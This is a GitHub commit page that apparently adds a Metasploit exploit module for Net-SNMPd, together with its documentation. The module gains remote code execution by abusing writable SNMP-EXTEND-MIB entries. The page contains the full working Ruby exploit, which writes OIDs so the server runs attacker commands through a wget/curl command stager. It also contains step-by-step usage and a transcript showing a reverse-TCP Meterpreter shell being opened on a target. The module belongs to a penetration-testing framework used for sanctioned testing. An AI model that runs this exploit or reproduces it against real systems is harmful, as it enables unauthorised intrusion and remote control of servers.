Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #9396, Linux net snmpd rw access
- Loading branch information
1 parent
b709673
commit 0263f2d
Showing
2 changed files
with
229 additions
and
0 deletions.
There are no files selected for viewing
123 changes: 123 additions & 0 deletions
123
documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,123 @@ | ||
## Vulnerable Application | ||
|
||
This module uses SNMP extension MIBs to enable remote code execution on the Linux Net-SNMPD servers using the | ||
SNMP-EXTEND-MIB. | ||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Do: `use exploit/linux/snmp/net_snmpd_rw_access` | ||
3. Do: `set rhost [IP]` | ||
4. Do: `set community [SNMP Community]` | ||
5. Do: `set version [SNMP Version]` | ||
6. Configure the payload | ||
7. Do: `run` | ||
8. You should get a session | ||
|
||
## Options | ||
**FILEPATH** | ||
The location to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp. | ||
|
||
**COMMUNITY** | ||
The read/write community string of the target Net-SNMP service. | ||
|
||
**VERSION** | ||
The SNMP protocol version. Accepted values are '1' or '2c'. | ||
|
||
**CHUNKSIZE** | ||
The maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments, but should hopefully work for all cmdstager flavors | ||
Note that cmdstager payloads are modified to allow further escaping, so the values limits may also change between cmdstager flavors. | ||
This is possibly related to the following bug: [https://sourceforge.net/p/net-snmp/bugs/2542/]. | ||
|
||
**TIMEOUT** | ||
Specifies the maximum time to allow SNMP to timeout. | ||
|
||
**SHELL** | ||
The shell to call for the client. Defaults to '/bin/bash' | ||
|
||
|
||
|
||
## Scenario | ||
|
||
``` | ||
msf > use exploit/linux/snmp/net_snmpd_rw_access | ||
msf exploit(linux/snmp/net_snmpd_rw_access) > set payload linux/x86/meterpreter/reverse_tcp | ||
payload => linux/x86/meterpreter/reverse_tcp | ||
msf exploit(linux/snmp/net_snmpd_rw_access) > set rhost 192.168.1.3 | ||
rhost => 192.168.1.3 | ||
msf exploit(linux/snmp/net_snmpd_rw_access) > set lhost 192.168.1.2 | ||
lhost => 192.168.1.2 | ||
msf exploit(linux/snmp/net_snmpd_rw_access) > set community private | ||
community => private | ||
msf exploit(linux/snmp/net_snmpd_rw_access) > set version 2c | ||
version => 2c | ||
msf exploit(linux/snmp/net_snmpd_rw_access) > show info | ||
Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution | ||
Module: exploit/linux/snmp/net_snmpd_rw_access | ||
Platform: | ||
Arch: | ||
Privileged: No | ||
License: Metasploit Framework License (BSD) | ||
Rank: Normal | ||
Provided by: | ||
Steve Embling at InteliSecure | ||
Available targets: | ||
Id Name | ||
-- ---- | ||
0 Linux x86 | ||
Basic options: | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
CHUNKSIZE 200 yes Maximum bytes of payload to write at once | ||
COMMUNITY private yes SNMP Community String | ||
FILEPATH /tmp yes file path to write to | ||
RETRIES 1 yes SNMP Retries | ||
RHOST 192.168.1.3 yes The target address | ||
RPORT 161 yes The target port (TCP) | ||
SHELL /bin/bash yes Shell to call with -c argument | ||
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 | ||
SRVPORT 8080 yes The local port to listen on. | ||
SSL false no Negotiate SSL for incoming connections | ||
SSLCert no Path to a custom SSL certificate (default is randomly generated) | ||
TIMEOUT 1 yes SNMP Timeout | ||
URIPATH no The URI to use for this exploit (default is random) | ||
VERSION 2c yes SNMP Version <1/2c> | ||
Payload information: | ||
Space: 4096 | ||
Description: | ||
This exploit module exploits the SNMP write access configuration | ||
ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to | ||
remote code execution. | ||
References: | ||
https://www.intelisecure.com | ||
msf exploit(linux/snmp/net_snmpd_rw_access) > run | ||
[*] Started reverse TCP handler on 192.168.1.2:4444 | ||
[*] Command Stager progress - 1.11% done (199/17924 bytes) | ||
[*] Command Stager progress - 2.23% done (399/17924 bytes) | ||
[*] Command Stager progress - 3.34% done (598/17924 bytes) | ||
[*] Command Stager progress - 4.45% done (797/17924 bytes) | ||
... Redacted ... | ||
[*] Command Stager progress - 98.64% done (17681/17924 bytes) | ||
[*] Command Stager progress - 99.72% done (17873/17924 bytes) | ||
[*] Sending stage (857352 bytes) to 192.168.1.3 | ||
[*] Meterpreter session 31 opened (192.168.1.2:4444 -> 192.168.1.3:54232) at 2018-02-14 17:30:22 +0000 | ||
[+] SNMP request timeout (this is promising). | ||
[*] Command Stager progress - 100.00% done (18022/18022 bytes) | ||
meterpreter > getuid | ||
Server username: uid=121, gid=129, euid=121, egid=129 | ||
meterpreter > exit | ||
[*] 192.168.1.3 - Meterpreter session 30 closed. Reason: User exit | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,106 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'snmp' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
|
||
include Msf::Exploit::Remote::SNMPClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution', | ||
'Description' => %q( | ||
This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to | ||
configure MIB extensions and lead to remote code execution. | ||
), | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Steve Embling at InteliSecure'], | ||
'References' => | ||
[ | ||
[ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'], | ||
[ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'], | ||
[ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'], | ||
[ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/'] | ||
], | ||
'Payload' => | ||
{ | ||
'Space' => 4096 | ||
#note space above is not a hard limit and can be increased if required | ||
#'BadChars' => "\x00" | ||
}, | ||
'Targets' => | ||
[ | ||
['Linux x86', { | ||
'Arch' => ARCH_X86, | ||
'Platform' => 'linux', | ||
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}], | ||
['Linux x64', { | ||
'Arch' => ARCH_X64, | ||
'Platform' => 'linux', | ||
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}] | ||
], | ||
#Not tested on other platforms but confirmed the above works. | ||
'DisclosureDate' => "May 10 2004", | ||
'DefaultTarget' => 0, | ||
) | ||
) | ||
register_options( | ||
[ | ||
OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']), | ||
OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]), | ||
OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash']) | ||
]) | ||
end | ||
|
||
# The exploit method connects and sets: | ||
# NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4) | ||
# NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable | ||
# NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments | ||
def execute_command(cmd, opts = {}) | ||
oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112' | ||
oid_1_value = 4 | ||
oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112' | ||
oid_2_value = datastore['SHELL'] | ||
oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112' | ||
oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1' | ||
|
||
comm = datastore['COMMUNITY'] | ||
|
||
cmd = cmd.shellescape unless flavor == :bourne | ||
|
||
oid_3_value = "-c \"#{cmd}\"" | ||
|
||
vprint_status(oid_3_value) | ||
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| | ||
#vprint_status(manager.get_value("sysDescr.0")) | ||
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) | ||
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) | ||
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) | ||
resp = manager.set([varbind1, varbind2, varbind3]) | ||
vprint_status(manager.get_value(oid_4).to_s) | ||
end | ||
#Hit same again, first rewrite appears to remove the MIB, the next reinstates it. | ||
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| | ||
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) | ||
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) | ||
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) | ||
begin | ||
resp = manager.set([varbind1, varbind2, varbind3]) | ||
vprint_status(manager.get_value(oid_4).to_s) | ||
rescue SNMP::RequestTimeout | ||
print_good("SNMP request timeout (this is promising).") | ||
end | ||
end | ||
end | ||
|
||
def exploit | ||
execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH']) | ||
end | ||
end |